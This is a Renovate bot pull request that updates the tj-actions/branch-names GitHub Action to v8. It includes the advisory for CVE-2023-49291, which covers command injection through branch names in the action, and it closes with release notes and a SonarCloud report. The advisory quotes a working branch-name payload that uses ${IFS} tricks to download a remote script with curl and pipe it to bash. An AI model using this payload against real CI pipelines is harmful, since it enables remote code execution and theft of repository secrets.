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chore(deps): update tj-actions/branch-names action to v8 [security] #343

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chore(deps): update tj-actions/branch-names action to v8 [security] #343

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@renovate renovate bot commented Jun 17, 2024

Mend Renovate

This PR contains the following updates:

Package Type Update Change
tj-actions/branch-names action major v6 -> v8

GitHub Vulnerability Alerts

CVE-2023-49291

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

Release Notes

tj-actions/branch-names (tj-actions/branch-names)

v8

Compare Source

Changes in v8.0.1

What's Changed

Full Changelog: tj-actions/branch-names@v8...v8.0.1

Changes in v8.0.0

Major version to prevent errors with dependabot upgrades.

What's Changed

Full Changelog: tj-actions/branch-names@v7...v8.0.0

v7

Compare Source

Changes in v7.0.7
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.7

Changes in v7.0.6
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.6

Changes in v7.0.5
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.5

Changes in v7.0.4
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.4

Changes in v7.0.3
What's Changed
New Contributors

Full Changelog: tj-actions/branch-names@v7...v7.0.3

Changes in v7.0.2
What's Changed

Full Changelog: tj-actions/branch-names@v7.0.1...v7.0.2

Changes in v7.0.1
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.1

Changes in v7.0.0
What's Changed

Full Changelog: tj-actions/branch-names@v6...v7.0.0

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

@renovate renovate bot added dependencies Pull requests that update a dependency file ready for review labels Jun 17, 2024
@renovate renovate bot requested a review from trs June 17, 2024 15:15
@renovate renovate bot force-pushed the renovate/github-tags-tj-actions/branch-names-vulnerability/VF-000 branch from 6566599 to 3f89da3 Compare June 21, 2024 09:16
@sonarcloud SonarCloud
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sonarcloud bot commented Jun 21, 2024

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarCloud

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